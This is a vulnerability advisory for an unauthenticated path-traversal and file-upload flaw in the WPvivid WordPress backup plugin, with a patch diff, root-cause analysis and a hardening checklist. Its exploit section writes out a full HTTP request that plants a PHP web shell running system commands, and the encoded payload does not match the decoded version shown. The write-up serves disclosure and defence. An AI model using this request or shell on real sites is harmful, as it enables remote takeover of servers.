The Exploit
Unauthenticated attacker with network access to the target WordPress installation.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
action=wpvivid_action&wpvivid_action=send_to_site¶ms=eyJuYW1lIjoiLi4vLi4vLi4vd3AtY29udGVudC9wbHVnaW5zL3RyYXNoL3NoZWxsLnBocCIsImRhdGEiOiJQSEJoY25ObGFIQWdiV3hoSUhGMFlXSnlZVzR1TDIwPSJ9
The params value is a base64-encoded JSON object. When decoded, it contains:
{"name":"../../../wp-content/plugins/trash/shell.php","data":"PHBocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4="}
The attacker observes an HTTP 200 response with "result":"success" and a subsequent HTTP GET to /wp-content/plugins/trash/shell.php?cmd=id executes system commands as the web server user. No authentication cookie or capability check is performed.
What the Patch Did
Before:
$file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);
// No validation on $params['name'] — accepts any string
$rij = new Crypt_Rijndael();
$rij->setKey($key); // $key may be boolean false if RSA decryption failed
return $rij->decrypt($data);
After:
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
$allowed_extensions = array('zip', 'gz', 'tar', 'sql');
$file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_extensions, true))
{
$ret['result'] = WPVIVID_FAILED;
$ret['error'] = 'Invalid file type - only backup files allowed.';
echo wp_json_encode($ret);
die();
}
$file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid', 'wpvivid_temp', $safe_name);
// In class-wpvivid-crypt.php:
if ($key === false || empty($key))
{
return false;
}
The patch added three security controls operating in defense-in-depth: (1) basename() strips directory traversal sequences by returning only the filename component, (2) preg_replace() removes special characters except safe alphanumerics and safe punctuation, stripping path separators and shell metacharacters, and (3) a whitelist of permitted file extensions (zip, gz, tar, sql) validated with strict in_array() before the file is written. Additionally, the cryptographic layer now validates that RSA decryption succeeded by checking if ($key === false || empty($key)) before passing the result to the Rijndael cipher, preventing the silent use of false or empty values as encryption keys.
Root Cause
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerability chain begins when an unauthenticated attacker sends a POST request to wp-admin/admin-ajax.php with action=wpvivid_action and wpvivid_action=send_to_site. The params parameter is base64-decoded and parsed as JSON; the name field travels unsanitized directly into str_replace() to construct a file path at line 630 of class-wpvivid-send-to-site.php. Because no call to basename() or path normalization occurs before concatenation, directory traversal sequences like ../ and absolute-path injection reach the filesystem function, allowing file writes outside WP_CONTENT_DIR. Simultaneously, no file extension whitelist exists; the plugin accepts any extension, enabling upload of executable PHP files to web-accessible directories. CWE-391 (Unchecked Error Condition) in class-wpvivid-crypt.php compounds the issue: when RSA decryption fails (returning false), the code passes false to Crypt_Rijndael::setKey(), which treats it as a null-byte string, converting a cryptographic failure into a predictable, weak encryption state that an attacker can brute-force or bypass entirely.
Why It Works
The load-bearing line is $safe_name = basename($params['name']);. Without it, all downstream validation can be circumvented by using absolute paths or carefully nested relative paths that bypass regex filters. basename() forcibly returns only the filename component, making it impossible to encode directory traversal in the name itself. The subsequent preg_replace() removes special characters that could encode traversal in alternative forms (null bytes, unicode sequences). The extension whitelist is not strictly necessary if basename() and preg_replace() are in place, but it provides defense-in-depth by preventing an attacker from exploiting edge cases in path handling (e.g., case-sensitivity issues on some filesystems, or collisions with backup file headers that could be interpreted as PHP). The cryptographic validation (if ($key === false || empty($key)) return false;) prevents silent fallback to a weak cipher state; without it, an attacker who cannot forge a valid RSA ciphertext can still send garbage, trigger decryption failure, and encrypt their payload using the all-zeros key derived from false. The engineer added multiple layers because each layer is independently bypassable; together, they enforce the principle that only legitimate backup files (with whitelisted extensions, basename-only filenames, no special characters) can be written, and only when cryptographic operations succeed.
Hardening Checklist
-
Use
basename()before any filesystem operation on user-supplied filenames. Never concatenate user input directly intofile_get_contents(),fopen(), orfwrite()paths without first callingbasename()to strip directory components. This is a generic best practice independent of WordPress; it prevents CWE-22 at the root. -
Implement a strict whitelist of allowed file extensions. Use
pathinfo($filename, PATHINFO_EXTENSION)to extract the extension, convert it to lowercase for case-insensitive comparison, and validate against a hardcoded array within_array(..., true)using strict type checking. Never use blacklists (denying dangerous extensions); whitelist only the formats your application legitimately processes. -
Validate all cryptographic operation return values before use. In PHP,
openssl_private_decrypt(),openssl_public_encrypt(), and hash functions can returnfalseon failure. Always checkif ($result === false)and terminate execution or throw an exception before passing the result to downstream crypto functions. Never allow boolean false to propagate as a key or IV into a cipher. -
Use
preg_replace()with a negative character class to strip special characters from filenames. Afterbasename(), applypreg_replace('/[^a-zA-Z0-9._-]/', '', $filename)to remove metacharacters, path separators, and shell operators. This hardens against edge-case bypasses and second-order traversal attacks. -
Apply
wp_verify_nonce()to all admin-ajax handlers, even those that perform file operations. Although this vulnerability is unauthenticated, pairing capability checks with nonce validation raises the bar for CSRF and replay attacks. For backup restoration endpoints specifically, requirecurrent_user_can('manage_options')and validate a nonce generated in a plugin settings page.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-1357